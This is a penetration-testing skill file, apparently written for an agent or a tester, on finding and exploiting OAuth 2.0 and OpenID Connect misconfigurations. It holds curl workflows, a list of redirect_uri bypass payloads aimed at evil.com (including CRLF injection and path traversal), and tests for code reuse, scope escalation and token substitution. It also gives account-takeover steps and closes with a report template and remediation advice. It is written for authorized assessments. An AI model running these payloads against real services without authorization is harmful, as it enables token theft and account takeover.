exploiting-oauth-misconfiguration

name	exploiting-oauth-misconfiguration
description	Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
domain	cybersecurity
subdomain	web-application-security
tags	["penetration-testing","oauth","oidc","authentication","web-security","authorization"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]

Exploiting OAuth Misconfiguration

When to Use

• During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
• When assessing "Sign in with Google/Facebook/GitHub" social login implementations
• For testing single sign-on (SSO) flows between applications
• When evaluating API authorization using OAuth bearer tokens
• During security assessments of applications acting as OAuth providers or consumers

How to CONFIRM a Hit (avoid false negatives)

• Positive signal: a redirect_uri you control actually captures the authorization code/token, OR a missing/replayable state lets you force account linking, OR a reused code still mints a token — confirm you obtained a usable token or an authenticated session/account.
• For redirect abuse: confirm the code/token lands on YOUR server (check your listener logs), then exchange it and call a protected endpoint (e.g. /me) to prove the token works — a 302 to your domain alone is not enough.
• A redirect that returns 200/302 is NOT a hit by itself; an error page is NOT a clean negative until you have varied the bypass form.
• Do NOT conclude "not vulnerable" until you have tried:
  • redirect_uri bypasses: @evil.com, .evil.com suffix, path traversal, %2f/%00/CRLF, case changes, http downgrade, and subdomain-takeover targets.
  • state: removing it entirely and reusing an old value to prove CSRF / forced login.
  • code/token reuse: exchange the same code twice and confirm the second exchange still yields a token.
  • account takeover: pre-registration linking and unverified-email linking — confirm you log into the victim's account.
  • scope escalation and client/secret leakage (JS, mobile) — confirm the elevated token is actually honored by the API.

Prerequisites

• Authorization: Written penetration testing agreement covering OAuth/SSO flows
• Burp Suite Professional: For intercepting OAuth redirect flows
• Browser with DevTools: For monitoring redirect chains and token leakage
• Multiple test accounts: On both the OAuth provider and the target application
• curl: For manual OAuth flow testing
• Attacker-controlled server: For receiving redirected tokens/codes

Workflow

Step 1: Map the OAuth Flow and Configuration

Identify the OAuth grant type, endpoints, and configuration.

# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .

# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs

# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
#   response_type=code&
#   client_id=CLIENT_ID&
#   redirect_uri=https://app.example.com/callback&
#   scope=openid profile email&
#   state=RANDOM_STATE

# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token

# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256

Step 2: Test Redirect URI Manipulation

Attempt to redirect the authorization code or token to an attacker-controlled domain.

# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:

BYPASSES=(
  "https://evil.com"
  "https://app.example.com.evil.com/callback"
  "https://[e-mail]/callback"
  "https://app.example.com/callback/../../../evil.com"
  "https://evil.com/?.app.example.com"
  "https://evil.com#.app.example.com"
  "https://app.example.com/callback?next=https://evil.com"
  "https://APP.EXAMPLE.COM/callback"
  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
  "https://app.example.com/CALLBACK"
  "http://app.example.com/callback"
  "https://app.example.com/callback/../../other-path"
)

for uri in "${BYPASSES[@]}"; do
  echo -n "Testing: $uri -> "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
  echo "$status"
done

# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path

# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/

Step 3: Test for Authorization Code and Token Theft

Exploit leakage vectors for stealing OAuth tokens and codes.

# Test token leakage via Referer header
# If implicit flow returns token in URL fragment:
# https://app.example.com/callback#access_token=TOKEN
# And the callback page loads external resources,
# the Referer header may leak the URL with the token

# Test for authorization code leakage via Referer
# After receiving code at callback, check if:
# 1. Page loads external images/scripts
# 2. Page has links to external sites
# Burp: Check Proxy History for Referer headers containing "code="

# Test authorization code reuse
CODE="captured_auth_code"
# First use
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Second use (should fail but may not)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Test state parameter absence/predictability
# Remove state parameter entirely
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
# NOTE: the authorize endpoint returning 200 (or echoing state=test / a missing
# state) is NOT proof of anything — `state` is generated and validated by the
# CLIENT app (relying party), never by the authorization server (RFC 6749
# §10.12). Microsoft/Google/Okta accept ANY state by design. See the
# false-positive controls below before concluding "CSRF possible".

CONFIRM correctly — do NOT report these as vulnerabilities (false-positive controls)

• state=test accepted at /authorize → 200. Not a finding. state is client-validated, not server-validated (RFC 6749 §10.12); every authorize endpoint echoes any state. To prove a real state-CSRF you must complete the full redirect callback and show the CLIENT app at redirect_uri accepts a state it never issued, yielding a forced login / account link with a usable session.
• Public identifiers are not secrets. The client_id (RFC 6749 §2.2), the Azure AD tenant ID/UUID, the /.well-known/openid-configuration document, and tenant branding (org display name/logo) are public by design — they ship in every authorization URL and discovery document. Do not report their "disclosure". Only a real credential (client_secret, private/signing key, live refresh/access token, password) is reportable — include the actual value.
• Reachability control. Before writing "an unauthenticated user visits …", confirm the host is publicly resolvable and reachable. A host that CNAMEs to an internal-*.elb.amazonaws.com / resolves to RFC1918 is VPC-internal and not publicly exploitable.
• Public guest tokens are not credentials. A constant anonymous token that every unauthenticated visitor receives (e.g. a Salesforce Commerce guest EUID) is normal storefront behavior, not session fixation or a shared credential.

Step 4: Test Scope Escalation and Privilege Manipulation

Attempt to gain more permissions than intended.

# Request additional scopes beyond what's needed
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"

# Test with elevated scope on token exchange
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"

# Test token with manipulated claims
# If JWT access token, try modifying claims (see JWT testing skill)

# Test refresh token scope escalation
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"

# Test client credential flow with elevated permissions
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"

Step 5: Test for Account Takeover via OAuth

Exploit OAuth flows to take over victim accounts.

# Test missing email verification on OAuth provider
# 1. Create an account on the OAuth provider with victim's email
# 2. OAuth login to the target app
# 3. If the app trusts the unverified email, account linking occurs

# Test pre-authentication account linking
# 1. Register on target app with victim's email (no OAuth)
# 2. Attacker links their OAuth account to victim's email
# 3. Attacker can now login via OAuth to victim's account

# CSRF on account linking
# If /oauth/link endpoint lacks CSRF protection:
# 1. Attacker initiates OAuth flow, captures the auth code
# 2. Craft a page that submits the code to victim's session
# 3. Victim's account gets linked to attacker's OAuth account

# Test token substitution
# Use authorization code/token from one client_id with another
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"

Step 6: Test Client Secret and Token Security

Assess the security of OAuth credentials and tokens.

# Check for exposed client secrets
# Search JavaScript source code
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"

# Check mobile app decompilation for hardcoded secrets

# Test token revocation
ACCESS_TOKEN="captured_access_token"
# Use the token
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# Revoke the token
curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
  -d "token=$ACCESS_TOKEN&token_type_hint=access_token"

# Test if revoked token still works
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# Test token lifetime
# Decode JWT access token and check exp claim
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
# Long-lived tokens (hours/days) increase attack window

# Check PKCE implementation
# If public client without PKCE, authorization code interception is possible

Key Concepts

Concept	Description
Authorization Code Flow	Most secure OAuth flow; exchanges short-lived code for tokens server-side
Implicit Flow	Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage
PKCE	Proof Key for Code Exchange; prevents authorization code interception attacks
Redirect URI Validation	Server-side validation that the redirect_uri matches registered values
State Parameter	Random value binding the OAuth request to the user's session, preventing CSRF
Scope Escalation	Requesting or obtaining more permissions than authorized
Token Leakage	Exposure of OAuth tokens via Referer headers, logs, or browser history
Open Redirect	Using OAuth redirect_uri as an open redirect to steal tokens

Tools & Systems

Tool	Purpose
Burp Suite Professional	Intercepting OAuth redirect chains and modifying parameters
OWASP ZAP	Automated OAuth flow scanning
Postman	Manual OAuth flow testing with environment variables
oauth-tools.com	Online OAuth flow debugging and testing
jwt.io	JWT token analysis for OAuth access tokens
Browser DevTools	Monitoring network requests and redirect chains

Common Scenarios

Scenario 1: Redirect URI Subdomain Bypass

The OAuth provider validates redirect_uri against *.example.com. An attacker finds a subdomain vulnerable to takeover (old.example.com), takes it over, and steals authorization codes redirected to it.

Scenario 2: Missing State Parameter CSRF

The OAuth login flow does not include or validate a state parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.

Scenario 3: Implicit Flow Token Theft

The application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.

Scenario 4: Authorization Code Reuse

The OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.

Output Format

## OAuth Security Assessment Report

**Vulnerability**: Redirect URI Validation Bypass
**Severity**: High (CVSS 8.1)
**Location**: GET /oauth/authorize - redirect_uri parameter
**OWASP Category**: A07:2021 - Identification and Authentication Failures

### OAuth Configuration
| Property | Value |
|----------|-------|
| Grant Type | Authorization Code |
| PKCE | Not implemented |
| State Parameter | Present but predictable |
| Token Type | JWT (RS256) |
| Token Lifetime | 1 hour |
| Refresh Token | 30 days |

### Findings
| Finding | Severity |
|---------|----------|
| Redirect URI path traversal bypass | High |
| Missing PKCE on public client | High |
| Authorization code reusable | Medium |
| State parameter uses sequential values | Medium |
| Client secret exposed in JavaScript | Critical |
| Token not revoked after password change | Medium |

### Recommendation
1. Implement strict redirect_uri validation with exact string matching
2. Require PKCE for all clients (especially public/mobile clients)
3. Invalidate authorization codes after first use
4. Use cryptographically random state parameters tied to user sessions
5. Migrate from implicit flow to authorization code flow with PKCE
6. Never expose client secrets in client-side code